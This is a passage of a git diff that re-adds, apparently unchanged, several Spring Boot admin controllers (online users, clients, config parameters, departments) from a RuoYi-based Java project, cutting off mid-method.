a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysUserOnlineController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/monitor/SysUserOnlineController.java @@ -1,131 +1,131 @@ -package org.dromara.system.controller.monitor; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.bean.BeanUtil; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.domain.dto.UserOnlineDTO; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.SysUserOnline; -import org.springframework.web.bind.annotation.*; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.Collections; -import java.util.List; -import java.util.stream.Collectors; - -/** - * 在线用户监控 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@RestController -@RequestMapping("/monitor/online") -public class SysUserOnlineController extends BaseController { - - /** - * 获取在线用户监控列表 - * - * @param ipaddr IP地址 - * @param userName 用户名 - */ - @SaCheckPermission("monitor:online:list") - @GetMapping("/list") - public TableDataInfo list(String ipaddr, String userName) { - // 获取所有未过期的 token - Collection keys = RedisUtils.keys(CacheConstants.ONLINE_TOKEN_KEY + "*"); - List userOnlineDTOList = new ArrayList<>(); - for (String key : keys) { - String token = StringUtils.substringAfterLast(key, ":"); - // 如果已经过期则跳过 - if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { - continue; - } - userOnlineDTOList.add(RedisUtils.getCacheObject(CacheConstants.ONLINE_TOKEN_KEY + token)); - } - if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(userName)) { - userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> - StringUtils.equals(ipaddr, userOnline.getIpaddr()) && - StringUtils.equals(userName, userOnline.getUserName()) - ); - } else if (StringUtils.isNotEmpty(ipaddr)) { - userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> - StringUtils.equals(ipaddr, userOnline.getIpaddr()) - ); - } else if (StringUtils.isNotEmpty(userName)) { - userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> - StringUtils.equals(userName, userOnline.getUserName()) - ); - } - Collections.reverse(userOnlineDTOList); - userOnlineDTOList.removeAll(Collections.singleton(null)); - List userOnlineList = BeanUtil.copyToList(userOnlineDTOList, SysUserOnline.class); - return TableDataInfo.build(userOnlineList); - } - - /** - * 强退用户 - * - * @param tokenId token值 - */ - @SaCheckPermission("monitor:online:forceLogout") - @Log(title = "在线用户", businessType = BusinessType.FORCE) - @DeleteMapping("/{tokenId}") - public R forceLogout(@PathVariable String tokenId) { - try { - StpUtil.kickoutByTokenValue(tokenId); - } catch (NotLoginException ignored) { - } - return R.ok(); - } - - /** - * 获取当前用户登录在线设备 - */ - @GetMapping() - public TableDataInfo getInfo() { - // 获取指定账号 id 的 token 集合 - List tokenIds = StpUtil.getTokenValueListByLoginId(StpUtil.getLoginIdAsString()); - List userOnlineDTOList = tokenIds.stream() - .filter(token -> StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) >= -1) - .map(token -> (UserOnlineDTO) RedisUtils.getCacheObject(CacheConstants.ONLINE_TOKEN_KEY + token)) - .collect(Collectors.toList()); - //复制和处理 SysUserOnline 对象列表 - Collections.reverse(userOnlineDTOList); - userOnlineDTOList.removeAll(Collections.singleton(null)); - List userOnlineList = BeanUtil.copyToList(userOnlineDTOList, SysUserOnline.class); - return TableDataInfo.build(userOnlineList); - } - - /** - * 强退当前在线设备 - * - * @param tokenId token值 - */ - @Log(title = "在线设备", businessType = BusinessType.FORCE) - @DeleteMapping("/myself/{tokenId}") - public R remove(@PathVariable("tokenId") String tokenId) { - try { - // 获取指定账号 id 的 token 集合 - List keys = StpUtil.getTokenValueListByLoginId(StpUtil.getLoginIdAsString()); - keys.stream() - .filter(key -> key.equals(tokenId)) - .findFirst() - .ifPresent(key -> StpUtil.kickoutByTokenValue(tokenId)); - } catch (NotLoginException ignored) { - } - return R.ok(); - } - -} +package org.dromara.system.controller.monitor; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.bean.BeanUtil; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.domain.dto.UserOnlineDTO; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.SysUserOnline; +import org.springframework.web.bind.annotation.*; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +/** + * 在线用户监控 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@RestController +@RequestMapping("/monitor/online") +public class SysUserOnlineController extends BaseController { + + /** + * 获取在线用户监控列表 + * + * @param ipaddr IP地址 + * @param userName 用户名 + */ + @SaCheckPermission("monitor:online:list") + @GetMapping("/list") + public TableDataInfo list(String ipaddr, String userName) { + // 获取所有未过期的 token + Collection keys = RedisUtils.keys(CacheConstants.ONLINE_TOKEN_KEY + "*"); + List userOnlineDTOList = new ArrayList<>(); + for (String key : keys) { + String token = StringUtils.substringAfterLast(key, ":"); + // 如果已经过期则跳过 + if (StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) < -1) { + continue; + } + userOnlineDTOList.add(RedisUtils.getCacheObject(CacheConstants.ONLINE_TOKEN_KEY + token)); + } + if (StringUtils.isNotEmpty(ipaddr) && StringUtils.isNotEmpty(userName)) { + userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> + StringUtils.equals(ipaddr, userOnline.getIpaddr()) && + StringUtils.equals(userName, userOnline.getUserName()) + ); + } else if (StringUtils.isNotEmpty(ipaddr)) { + userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> + StringUtils.equals(ipaddr, userOnline.getIpaddr()) + ); + } else if (StringUtils.isNotEmpty(userName)) { + userOnlineDTOList = StreamUtils.filter(userOnlineDTOList, userOnline -> + StringUtils.equals(userName, userOnline.getUserName()) + ); + } + Collections.reverse(userOnlineDTOList); + userOnlineDTOList.removeAll(Collections.singleton(null)); + List userOnlineList = BeanUtil.copyToList(userOnlineDTOList, SysUserOnline.class); + return TableDataInfo.build(userOnlineList); + } + + /** + * 强退用户 + * + * @param tokenId token值 + */ + @SaCheckPermission("monitor:online:forceLogout") + @Log(title = "在线用户", businessType = BusinessType.FORCE) + @DeleteMapping("/{tokenId}") + public R forceLogout(@PathVariable String tokenId) { + try { + StpUtil.kickoutByTokenValue(tokenId); + } catch (NotLoginException ignored) { + } + return R.ok(); + } + + /** + * 获取当前用户登录在线设备 + */ + @GetMapping() + public TableDataInfo getInfo() { + // 获取指定账号 id 的 token 集合 + List tokenIds = StpUtil.getTokenValueListByLoginId(StpUtil.getLoginIdAsString()); + List userOnlineDTOList = tokenIds.stream() + .filter(token -> StpUtil.stpLogic.getTokenActiveTimeoutByToken(token) >= -1) + .map(token -> (UserOnlineDTO) RedisUtils.getCacheObject(CacheConstants.ONLINE_TOKEN_KEY + token)) + .collect(Collectors.toList()); + //复制和处理 SysUserOnline 对象列表 + Collections.reverse(userOnlineDTOList); + userOnlineDTOList.removeAll(Collections.singleton(null)); + List userOnlineList = BeanUtil.copyToList(userOnlineDTOList, SysUserOnline.class); + return TableDataInfo.build(userOnlineList); + } + + /** + * 强退当前在线设备 + * + * @param tokenId token值 + */ + @Log(title = "在线设备", businessType = BusinessType.FORCE) + @DeleteMapping("/myself/{tokenId}") + public R remove(@PathVariable("tokenId") String tokenId) { + try { + // 获取指定账号 id 的 token 集合 + List keys = StpUtil.getTokenValueListByLoginId(StpUtil.getLoginIdAsString()); + keys.stream() + .filter(key -> key.equals(tokenId)) + .findFirst() + .ifPresent(key -> StpUtil.kickoutByTokenValue(tokenId)); + } catch (NotLoginException ignored) { + } + return R.ok(); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysClientController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysClientController.java index b16bbff..14b2279 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysClientController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysClientController.java @@ -1,116 +1,116 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.validation.constraints.NotEmpty; -import jakarta.validation.constraints.NotNull; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.idempotent.annotation.RepeatSubmit; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysClientBo; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.service.ISysClientService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 客户端管理 - * - * @author Michelle.Chung - * @date 2023-06-18 - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/client") -public class SysClientController extends BaseController { - - private final ISysClientService sysClientService; - - /** - * 查询客户端管理列表 - */ - @SaCheckPermission("system:client:list") - @GetMapping("/list") - public TableDataInfo list(SysClientBo bo, PageQuery pageQuery) { - return sysClientService.queryPageList(bo, pageQuery); - } - - /** - * 导出客户端管理列表 - */ - @SaCheckPermission("system:client:export") - @Log(title = "客户端管理", businessType = BusinessType.EXPORT) - @PostMapping("/export") - public void export(SysClientBo bo, HttpServletResponse response) { - List list = sysClientService.queryList(bo); - ExcelUtil.exportExcel(list, "客户端管理", SysClientVo.class, response); - } - - /** - * 获取客户端管理详细信息 - * - * @param id 主键 - */ - @SaCheckPermission("system:client:query") - @GetMapping("/{id}") - public R getInfo(@NotNull(message = "主键不能为空") - @PathVariable Long id) { - return R.ok(sysClientService.queryById(id)); - } - - /** - * 新增客户端管理 - */ - @SaCheckPermission("system:client:add") - @Log(title = "客户端管理", businessType = BusinessType.INSERT) - @RepeatSubmit() - @PostMapping() - public R add(@Validated(AddGroup.class) @RequestBody SysClientBo bo) { - return toAjax(sysClientService.insertByBo(bo)); - } - - /** - * 修改客户端管理 - */ - @SaCheckPermission("system:client:edit") - @Log(title = "客户端管理", businessType = BusinessType.UPDATE) - @RepeatSubmit() - @PutMapping() - public R edit(@Validated(EditGroup.class) @RequestBody SysClientBo bo) { - return toAjax(sysClientService.updateByBo(bo)); - } - - /** - * 状态修改 - */ - @SaCheckPermission("system:client:edit") - @Log(title = "客户端管理", businessType = BusinessType.UPDATE) - @PutMapping("/changeStatus") - public R changeStatus(@RequestBody SysClientBo bo) { - return toAjax(sysClientService.updateUserStatus(bo.getClientId(), bo.getStatus())); - } - - /** - * 删除客户端管理 - * - * @param ids 主键串 - */ - @SaCheckPermission("system:client:remove") - @Log(title = "客户端管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public R remove(@NotEmpty(message = "主键不能为空") - @PathVariable Long[] ids) { - return toAjax(sysClientService.deleteWithValidByIds(List.of(ids), true)); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.idempotent.annotation.RepeatSubmit; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysClientBo; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.service.ISysClientService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 客户端管理 + * + * @author Michelle.Chung + * @date 2023-06-18 + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/client") +public class SysClientController extends BaseController { + + private final ISysClientService sysClientService; + + /** + * 查询客户端管理列表 + */ + @SaCheckPermission("system:client:list") + @GetMapping("/list") + public TableDataInfo list(SysClientBo bo, PageQuery pageQuery) { + return sysClientService.queryPageList(bo, pageQuery); + } + + /** + * 导出客户端管理列表 + */ + @SaCheckPermission("system:client:export") + @Log(title = "客户端管理", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(SysClientBo bo, HttpServletResponse response) { + List list = sysClientService.queryList(bo); + ExcelUtil.exportExcel(list, "客户端管理", SysClientVo.class, response); + } + + /** + * 获取客户端管理详细信息 + * + * @param id 主键 + */ + @SaCheckPermission("system:client:query") + @GetMapping("/{id}") + public R getInfo(@NotNull(message = "主键不能为空") + @PathVariable Long id) { + return R.ok(sysClientService.queryById(id)); + } + + /** + * 新增客户端管理 + */ + @SaCheckPermission("system:client:add") + @Log(title = "客户端管理", businessType = BusinessType.INSERT) + @RepeatSubmit() + @PostMapping() + public R add(@Validated(AddGroup.class) @RequestBody SysClientBo bo) { + return toAjax(sysClientService.insertByBo(bo)); + } + + /** + * 修改客户端管理 + */ + @SaCheckPermission("system:client:edit") + @Log(title = "客户端管理", businessType = BusinessType.UPDATE) + @RepeatSubmit() + @PutMapping() + public R edit(@Validated(EditGroup.class) @RequestBody SysClientBo bo) { + return toAjax(sysClientService.updateByBo(bo)); + } + + /** + * 状态修改 + */ + @SaCheckPermission("system:client:edit") + @Log(title = "客户端管理", businessType = BusinessType.UPDATE) + @PutMapping("/changeStatus") + public R changeStatus(@RequestBody SysClientBo bo) { + return toAjax(sysClientService.updateUserStatus(bo.getClientId(), bo.getStatus())); + } + + /** + * 删除客户端管理 + * + * @param ids 主键串 + */ + @SaCheckPermission("system:client:remove") + @Log(title = "客户端管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public R remove(@NotEmpty(message = "主键不能为空") + @PathVariable Long[] ids) { + return toAjax(sysClientService.deleteWithValidByIds(List.of(ids), true)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysConfigController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysConfigController.java index 7eb8447..952afd3 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysConfigController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysConfigController.java @@ -1,137 +1,137 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import jakarta.servlet.http.HttpServletResponse; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.R; -import org.dromara.common.excel.utils.ExcelUtil; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysConfigBo; -import org.dromara.system.domain.vo.SysConfigVo; -import org.dromara.system.service.ISysConfigService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 参数配置 信息操作处理 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/config") -public class SysConfigController extends BaseController { - - private final ISysConfigService configService; - - /** - * 获取参数配置列表 - */ - @SaCheckPermission("system:config:list") - @GetMapping("/list") - public TableDataInfo list(SysConfigBo config, PageQuery pageQuery) { - return configService.selectPageConfigList(config, pageQuery); - } - - /** - * 导出参数配置列表 - */ - @Log(title = "参数管理", businessType = BusinessType.EXPORT) - @SaCheckPermission("system:config:export") - @PostMapping("/export") - public void export(SysConfigBo config, HttpServletResponse response) { - List list = configService.selectConfigList(config); - ExcelUtil.exportExcel(list, "参数数据", SysConfigVo.class, response); - } - - /** - * 根据参数编号获取详细信息 - * - * @param configId 参数ID - */ - @SaCheckPermission("system:config:query") - @GetMapping(value = "/{configId}") - public R getInfo(@PathVariable Long configId) { - return R.ok(configService.selectConfigById(configId)); - } - - /** - * 根据参数键名查询参数值 - * - * @param configKey 参数Key - */ - @GetMapping(value = "/configKey/{configKey}") - public R getConfigKey(@PathVariable String configKey) { - return R.ok("操作成功", configService.selectConfigByKey(configKey)); - } - - /** - * 新增参数配置 - */ - @SaCheckPermission("system:config:add") - @Log(title = "参数管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysConfigBo config) { - if (!configService.checkConfigKeyUnique(config)) { - return R.fail("新增参数'" + config.getConfigName() + "'失败,参数键名已存在"); - } - configService.insertConfig(config); - return R.ok(); - } - - /** - * 修改参数配置 - */ - @SaCheckPermission("system:config:edit") - @Log(title = "参数管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysConfigBo config) { - if (!configService.checkConfigKeyUnique(config)) { - return R.fail("修改参数'" + config.getConfigName() + "'失败,参数键名已存在"); - } - configService.updateConfig(config); - return R.ok(); - } - - /** - * 根据参数键名修改参数配置 - */ - @SaCheckPermission("system:config:edit") - @Log(title = "参数管理", businessType = BusinessType.UPDATE) - @PutMapping("/updateByKey") - public R updateByKey(@RequestBody SysConfigBo config) { - configService.updateConfig(config); - return R.ok(); - } - - /** - * 删除参数配置 - * - * @param configIds 参数ID串 - */ - @SaCheckPermission("system:config:remove") - @Log(title = "参数管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{configIds}") - public R remove(@PathVariable Long[] configIds) { - configService.deleteConfigByIds(configIds); - return R.ok(); - } - - /** - * 刷新参数缓存 - */ - @SaCheckPermission("system:config:remove") - @Log(title = "参数管理", businessType = BusinessType.CLEAN) - @DeleteMapping("/refreshCache") - public R refreshCache() { - configService.resetConfigCache(); - return R.ok(); - } -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import jakarta.servlet.http.HttpServletResponse; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.R; +import org.dromara.common.excel.utils.ExcelUtil; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysConfigBo; +import org.dromara.system.domain.vo.SysConfigVo; +import org.dromara.system.service.ISysConfigService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 参数配置 信息操作处理 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/config") +public class SysConfigController extends BaseController { + + private final ISysConfigService configService; + + /** + * 获取参数配置列表 + */ + @SaCheckPermission("system:config:list") + @GetMapping("/list") + public TableDataInfo list(SysConfigBo config, PageQuery pageQuery) { + return configService.selectPageConfigList(config, pageQuery); + } + + /** + * 导出参数配置列表 + */ + @Log(title = "参数管理", businessType = BusinessType.EXPORT) + @SaCheckPermission("system:config:export") + @PostMapping("/export") + public void export(SysConfigBo config, HttpServletResponse response) { + List list = configService.selectConfigList(config); + ExcelUtil.exportExcel(list, "参数数据", SysConfigVo.class, response); + } + + /** + * 根据参数编号获取详细信息 + * + * @param configId 参数ID + */ + @SaCheckPermission("system:config:query") + @GetMapping(value = "/{configId}") + public R getInfo(@PathVariable Long configId) { + return R.ok(configService.selectConfigById(configId)); + } + + /** + * 根据参数键名查询参数值 + * + * @param configKey 参数Key + */ + @GetMapping(value = "/configKey/{configKey}") + public R getConfigKey(@PathVariable String configKey) { + return R.ok("操作成功", configService.selectConfigByKey(configKey)); + } + + /** + * 新增参数配置 + */ + @SaCheckPermission("system:config:add") + @Log(title = "参数管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysConfigBo config) { + if (!configService.checkConfigKeyUnique(config)) { + return R.fail("新增参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + configService.insertConfig(config); + return R.ok(); + } + + /** + * 修改参数配置 + */ + @SaCheckPermission("system:config:edit") + @Log(title = "参数管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysConfigBo config) { + if (!configService.checkConfigKeyUnique(config)) { + return R.fail("修改参数'" + config.getConfigName() + "'失败,参数键名已存在"); + } + configService.updateConfig(config); + return R.ok(); + } + + /** + * 根据参数键名修改参数配置 + */ + @SaCheckPermission("system:config:edit") + @Log(title = "参数管理", businessType = BusinessType.UPDATE) + @PutMapping("/updateByKey") + public R updateByKey(@RequestBody SysConfigBo config) { + configService.updateConfig(config); + return R.ok(); + } + + /** + * 删除参数配置 + * + * @param configIds 参数ID串 + */ + @SaCheckPermission("system:config:remove") + @Log(title = "参数管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{configIds}") + public R remove(@PathVariable Long[] configIds) { + configService.deleteConfigByIds(configIds); + return R.ok(); + } + + /** + * 刷新参数缓存 + */ + @SaCheckPermission("system:config:remove") + @Log(title = "参数管理", businessType = BusinessType.CLEAN) + @DeleteMapping("/refreshCache") + public R refreshCache() { + configService.resetConfigCache(); + return R.ok(); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDeptController.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDeptController.java index 45b8418..aeb85c2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDeptController.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/controller/system/SysDeptController.java @@ -1,140 +1,140 @@ -package org.dromara.system.controller.system; - -import cn.dev33.satoken.annotation.SaCheckPermission; -import cn.hutool.core.convert.Convert; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.web.core.BaseController; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.vo.SysDeptVo; -import org.dromara.system.service.ISysDeptService; -import org.dromara.system.service.ISysPostService; -import org.springframework.validation.annotation.Validated; -import org.springframework.web.bind.annotation.*; - -import java.util.List; - -/** - * 部门信息 - * - * @author Lion Li - */ -@Validated -@RequiredArgsConstructor -@RestController -@RequestMapping("/system/dept") -public class SysDeptController extends BaseController { - - private final ISysDeptService deptService; - private final ISysPostService postService; - - /** - * 获取部门列表 - */ - @SaCheckPermission("system:dept:list") - @GetMapping("/list") - public R> list(SysDeptBo dept) { - List depts = deptService.selectDeptList(dept); - return R.ok(depts); - } - - /** - * 查询部门列表(排除节点) - * - * @param deptId 部门ID - */ - @SaCheckPermission("system:dept:list") - @GetMapping("/list/exclude/{deptId}") - public R> excludeChild(@PathVariable(value = "deptId", required = false) Long deptId) { - List depts = deptService.selectDeptList(new SysDeptBo()); - depts.removeIf(d -> d.getDeptId().equals(deptId) - || StringUtils.splitList(d.getAncestors()).contains(Convert.toStr(deptId))); - return R.ok(depts); - } - - /** - * 根据部门编号获取详细信息 - * - * @param deptId 部门ID - */ - @SaCheckPermission("system:dept:query") - @GetMapping(value = "/{deptId}") - public R getInfo(@PathVariable Long deptId) { - deptService.checkDeptDataScope(deptId); - return R.ok(deptService.selectDeptById(deptId)); - } - - /** - * 新增部门 - */ - @SaCheckPermission("system:dept:add") - @Log(title = "部门管理", businessType = BusinessType.INSERT) - @PostMapping - public R add(@Validated @RequestBody SysDeptBo dept) { - if (!deptService.checkDeptNameUnique(dept)) { - return R.fail("新增部门'" + dept.getDeptName() + "'失败,部门名称已存在"); - } - return toAjax(deptService.insertDept(dept)); - } - - /** - * 修改部门 - */ - @SaCheckPermission("system:dept:edit") - @Log(title = "部门管理", businessType = BusinessType.UPDATE) - @PutMapping - public R edit(@Validated @RequestBody SysDeptBo dept) { - Long deptId = dept.getDeptId(); - deptService.checkDeptDataScope(deptId); - if (!deptService.checkDeptNameUnique(dept)) { - return R.fail("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在"); - } else if (dept.getParentId().equals(deptId)) { - return R.fail("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己"); - } else if (StringUtils.equals(SystemConstants.DISABLE, dept.getStatus())) { - if (deptService.selectNormalChildrenDeptById(deptId) > 0) { - return R.fail("该部门包含未停用的子部门!"); - } else if (deptService.checkDeptExistUser(deptId)) { - return R.fail("该部门下存在已分配用户,不能禁用!"); - } - } - return toAjax(deptService.updateDept(dept)); - } - - /** - * 删除部门 - * - * @param deptId 部门ID - */ - @SaCheckPermission("system:dept:remove") - @Log(title = "部门管理", businessType = BusinessType.DELETE) - @DeleteMapping("/{deptId}") - public R remove(@PathVariable Long deptId) { - if (deptService.hasChildByDeptId(deptId)) { - return R.warn("存在下级部门,不允许删除"); - } - if (deptService.checkDeptExistUser(deptId)) { - return R.warn("部门存在用户,不允许删除"); - } - if (postService.countPostByDeptId(deptId) > 0) { - return R.warn("部门存在岗位,不允许删除"); - } - deptService.checkDeptDataScope(deptId); - return toAjax(deptService.deleteDeptById(deptId)); - } - - /** - * 获取部门选择框列表 - * - * @param deptIds 部门ID串 - */ - @SaCheckPermission("system:dept:query") - @GetMapping("/optionselect") - public R> optionselect(@RequestParam(required = false) Long[] deptIds) { - return R.ok(deptService.selectDeptByIds(deptIds == null ? null : List.of(deptIds))); - } - -} +package org.dromara.system.controller.system; + +import cn.dev33.satoken.annotation.SaCheckPermission; +import cn.hutool.core.convert.Convert; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.web.core.BaseController; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.vo.SysDeptVo; +import org.dromara.system.service.ISysDeptService; +import org.dromara.system.service.ISysPostService; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.*; + +import java.util.List; + +/** + * 部门信息 + * + * @author Lion Li + */ +@Validated +@RequiredArgsConstructor +@RestController +@RequestMapping("/system/dept") +public class SysDeptController extends BaseController { + + private final ISysDeptService deptService; + private final ISysPostService postService; + + /** + * 获取部门列表 + */ + @SaCheckPermission("system:dept:list") + @GetMapping("/list") + public R> list(SysDeptBo dept) { + List depts = deptService.selectDeptList(dept); + return R.ok(depts); + } + + /** + * 查询部门列表(排除节点) + * + * @param deptId 部门ID + */ + @SaCheckPermission("system:dept:list") + @GetMapping("/list/exclude/{deptId}") + public R> excludeChild(@PathVariable(value = "deptId", required = false) Long deptId) { + List depts = deptService.selectDeptList(new SysDeptBo()); + depts.removeIf(d -> d.getDeptId().equals(deptId) + || StringUtils.splitList(d.getAncestors()).contains(Convert.toStr(deptId))); + return R.ok(depts); + } + + /** + * 根据部门编号获取详细信息 + * + * @param deptId 部门ID + */ + @SaCheckPermission("system:dept:query") + @GetMapping(value = "/{deptId}") + public R getInfo(@PathVariable Long deptId) { + deptService.checkDeptDataScope(deptId); + return R.ok(deptService.selectDeptById(deptId)); + } + + /** + * 新增部门 + */ + @SaCheckPermission("system:dept:add") + @Log(title = "部门管理", businessType = BusinessType.INSERT) + @PostMapping + public R add(@Validated @RequestBody SysDeptBo dept) { + if (!deptService.checkDeptNameUnique(dept)) { + return R.fail("新增部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } + return toAjax(deptService.insertDept(dept)); + } + + /** + * 修改部门 + */ + @SaCheckPermission("system:dept:edit") + @Log(title = "部门管理", businessType = BusinessType.UPDATE) + @PutMapping + public R edit(@Validated @RequestBody SysDeptBo dept) { + Long deptId = dept.getDeptId(); + deptService.checkDeptDataScope(deptId); + if (!deptService.checkDeptNameUnique(dept)) { + return R.fail("修改部门'" + dept.getDeptName() + "'失败,部门名称已存在"); + } else if (dept.getParentId().equals(deptId)) { + return R.fail("修改部门'" + dept.getDeptName() + "'失败,上级部门不能是自己"); + } else if (StringUtils.equals(SystemConstants.DISABLE, dept.getStatus())) { + if (deptService.selectNormalChildrenDeptById(deptId) > 0) { + return R.fail("该部门包含未停用的子部门!"); + } else if (deptService.checkDeptExistUser(deptId)) { + return R.fail("该部门下存在已分配用户,不能禁用!"); + } + } + return toAjax(deptService.updateDept(dept)); + } + + /** + * 删除部门 + * + * @param deptId 部门ID + */ + @SaCheckPermission("system:dept:remove") + @Log(title = "部门管理", businessType = BusinessType.DELETE) + @DeleteMapping("/{deptId}") + public R remove(@PathVariable Long deptId) { + if (deptService.hasChildByDeptId(deptId)) 